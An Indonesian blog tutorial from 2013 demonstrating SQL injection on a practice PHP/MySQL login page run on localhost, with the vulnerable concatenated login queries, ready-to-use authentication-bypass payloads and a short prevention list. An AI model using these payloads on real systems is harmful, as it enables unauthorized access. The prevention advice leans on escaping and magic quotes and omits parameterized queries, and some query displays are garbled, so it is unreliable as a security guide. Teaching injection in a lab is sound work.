Contoh SQL Injection dengan PHP dan MySQL


sql-injection

Latar Belakang

SQL injection mengacu pada tindakan seseorang memasukkan pernyataan SQL untuk dijalankan pada database tanpa sepengetahuan kita. Injeksi biasanya terjadi ketika kita meminta pengguna untuk input data, seperti nama atau password mereka. dan bukannya nama, tapi mereka memberikan pernyataan SQL bahwa kita tidak sadar pernyataan SQL tersebut akan berjalan pada database kita.

Download Contoh Halaman Login

Cara Penggunaan

  1. Download contoh form login yang akan di injection
  2. Import database db_injection.sql.zip via phpmyadmin
  3. Copy folder web_injection ke dalam folder htdocs
  4. Buka halaman register untuk mendaftarkan admin baru dengan alamat URL  http://localhost/web_injection/register.php
  5. Buka halaman login dengan alamat URL http://localhost/web_injection/index.php

Query Login yang digunakan

  • Jika kemungkinan query menggunakan awalan kutip satu ‘, maka inject dengan kutip dua. contoh querynya sebagai berikut : $query=select * from admin where username=”‘.$username.'” and password=MD5(“‘.$password.'”);
  • Jika kemungkinan query menggunakan awalan kutip dua “, maka inject dengan kutip satu. contoh querynya berikut : $query=select * from admin where username=’$username’ and password=MD5(‘$password’);

Cara Injection

  1.  Buka halaman login dengan URL http://localhost/web_injection/index.php
  2. Masukan username admin’ /*
  3. Masukan password hacked’)*/ OR (‘1’=’1

Injection username dan password

  • Jika kemungkinan query menggunakan kutip satu, maka inject dengan kutip dua, menggunakan Username : admin” /* Password : hacked”)*/ OR (“1″=”1
  • Jika kemungkinan query menggunakan kutip dua, maka inject dengan kutip satu. menggunakan Username : admin’ /* Password : hacked’)*/ OR (‘1’=’1

Query inject

select * from admin where username=’ admin’ / ‘ and password=MD5(‘ hacked’)/ OR (‘1’=’1 ‘)

Menggunakan teknik comment

select * from admin where username=’admin’ /‘ and password=MD5(‘hacked’)/ OR (‘1’=’1’)

Parsing Query setelah di inject

select * from admin where username=’adminOR (‘1’=’1’)

Output

Berhasil Login

Berhasil Login

Password Salah

Gagal Login

1

Login by SQL Injection

Cara Mencegah SQL Injection 

  1. Menggunakan fungsi PHP mysql_real_escape_string(), htmlentities(), htmlspecialchars(), strip_tags(), stripslashes(), mysql_escape_string(), get_magic_quotes_gpc() dan addslashes()
  2. Membatasi panjang input box.
  3. Filter input yang dimasukkan oleh user, terutama penggunaan tanda kutip tunggal (Input Validation).
  4. Matikan atau sembunyikan pesan-pesan error yang keluar dari SQL Server yang berjalan.

Referensi

Sekian artikel dari saya semoga bermanfaat untuk teman-teman dan anda semua…aamiin

Cilangkap, 28 Juni 2013

GusnaNuri

2 Responses

  1. terus cara menghindarinya gimana om? matur nuwun ilmunya

    Like

  2. Ini trus gmn pengaplikasiannya di wordpress gan? Maksudnya gmn supaya bisa aman wp kita? terutama yg self hosting gt

    Like

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

%d bloggers like this: